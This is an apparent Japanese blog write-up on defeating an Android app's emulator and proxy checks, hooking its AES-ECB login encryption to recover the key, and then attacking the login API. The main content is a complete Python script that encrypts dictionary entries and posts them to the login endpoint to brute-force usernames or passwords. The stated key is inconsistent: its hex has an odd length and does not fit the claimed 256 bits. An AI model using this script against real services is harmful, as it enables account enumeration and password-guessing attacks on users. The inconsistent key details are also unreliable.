1#
アプリをテストして、さまざまなエミュレーターやプロキシの検出が存在することがわかり、ようやく正常にパケットキャプチャができるようになりました。パケットキャプチャ中に、リクエスト内のアカウントと暗号化された情報が暗号化されているという難解な問題が発見されました。
2#
アルゴリズムアシスタントを使ってこのアプリをフックします。アルゴリズムアシスタントの使用方法は以下の通りです:
まず、LSP フレームワークを有効にし、スコープにはシステムフレームワークとデバッグするアプリを選択します。
アルゴリズムアシスタントの設定でアルゴリズム分析を開き、他の設定は変更しません。
パケットキャプチャのリクエストパラメータは以下の通りです:
その中の loginName と passwd パラメータが暗号化されていることがわかります。
アルゴリズムアシスタントが暗号化アルゴリズムをフックできたか確認します。
主なアルゴリズムの内容は次のように解析できます:
AES アルゴリズム ECB モード パディングは PKCS5 鍵の長さは 256 ビット
暗号化キーは key であり、オンラインでの暗号化・復号化を利用してこの部分の内容を検証できます。以下の通りです:
正しく完了すれば、アルゴリズムをフックできたことになります。次に、autodecoder を burp ミドルウェアとして使用して転送し、暗号化と復号化の自動化を実現できます。私のローカル burp にはそのプラグインがインストールされていないため、以下に Python を使用して暗号化アルゴリズムを直接実行する例を提供します。
import requests
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import binascii
import argparse
# HTTPリクエスト
base_url = "https://XXXX/api"
original_headers = {
"appId": "1218209dc6d54e60bcb17bf28569c947",
"timestamp": "2025-04-14 10:22:01",
"Content-Type": "application/x-www-form-urlencoded",
"Host": ":XXXX",
"Connection": "Keep-Alive",
"Accept-Encoding": "gzip",
"User-Agent": "okhttp/3.8.1"
}
original_login_name = "667A4287C89AC3F5A97C966817DB9B9E"
original_password = "096AABFD2432F788F15A131F613B19D3"
# 暗号化パラメータ
key_hex = "69686c69682a303033374a4"
key_bytes = binascii.unhexlify(key_hex)
mode = AES.MODE_ECB
padding_method = 'pkcs7'
block_size = AES.block_size
def encrypt(plaintext, key, mode, padding_method):
"""提供されたパラメータを使用してAES暗号化を行います。"""
cipher = AES.new(key, mode)
plaintext_bytes = plaintext.encode('utf-8')
padded_plaintext = pad(plaintext_bytes, block_size, style=padding_method)
ciphertext_bytes = cipher.encrypt(padded_plaintext)
ciphertext_hex = binascii.hexlify(ciphertext_bytes).decode('utf-8')
return ciphertext_hex
def read_dictionary_from_file(file_path):
"""ファイルから辞書を読み込みます。各行に1つのエントリ。"""
try:
with open(file_path, 'r', encoding='utf-8') as f:
return [line.strip() for line in f]
except FileNotFoundError:
print(f"エラー: ファイルが見つかりません: {file_path}")
return []
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="ログインインターフェースの自動化ブルートフォース。")
parser.add_argument("-m", "--mode", type=int, choices=[1, 2], required=True,
help="ブルートフォースモード: 1 - ユーザー名のみブルートフォース, 2 - パスワードのみブルートフォース")
parser.add_argument("-u", "--userfile", type=str, help="ユーザー名辞書のファイルパス")
parser.add_argument("-p", "--passfile", type=str, help="パスワード辞書のファイルパス")
args = parser.parse_args()
if args.mode == 1:
if not args.userfile:
print("エラー: ユーザー名ブルートフォースモードでは、ユーザー名辞書ファイルを提供する必要があります。")
exit(1)
usernames = read_dictionary_from_file(args.userfile)
if not usernames:
exit(1)
print("ユーザー名のブルートフォースを開始します...")
for username in usernames:
encrypted_username = encrypt(username, key_bytes, mode, padding_method)
data = {
"loginName": encrypted_username,
"passWord": original_password,
"deviceID": "",
"controllerName": "Login",
"methodsName": "UserLogin"
}
try:
response = requests.post(base_url, headers=original_headers, data=data)
print(f"試行ユーザー名 (平文): {username}, 暗号化後: {encrypted_username}")
print(f"レスポンスステータスコード: {response.status_code}")
print(f"レスポンス内容: {response.text}")
print("-" * 30)
except requests.exceptions.RequestException as e:
print(f"リクエスト送信中にエラーが発生しました: {e}")
print("-" * 30)
print("ユーザー名のブルートフォースが完了しました。")
elif args.mode == 2:
if not args.passfile:
print("エラー: パスワードブルートフォースモードでは、パスワード辞書ファイルを提供する必要があります。")
exit(1)
passwords = read_dictionary_from_file(args.passfile)
if not passwords:
exit(1)
print("パスワードのブルートフォースを開始します...")
for password in passwords:
encrypted_password = encrypt(password, key_bytes, mode, padding_method)
data = {
"loginName": original_login_name,
"passWord": encrypted_password,
"deviceID": "",
"controllerName": "Login",
"methodsName": "UserLogin"
}
try:
response = requests.post(base_url, headers=original_headers, data=data)
print(f"試行パスワード (平文): {password}, 暗号化後: {encrypted_password}")
print(f"レスポンスステータスコード: {response.status_code}")
print(f"レスポンス内容: {response.text}")
print("-" * 30)
except requests.exceptions.RequestException as e:
print(f"リクエスト送信中にエラーが発生しました: {e}")
print("-" * 30)
print("パスワードのブルートフォースが完了しました。")
ユーザー名列挙操作を実行します: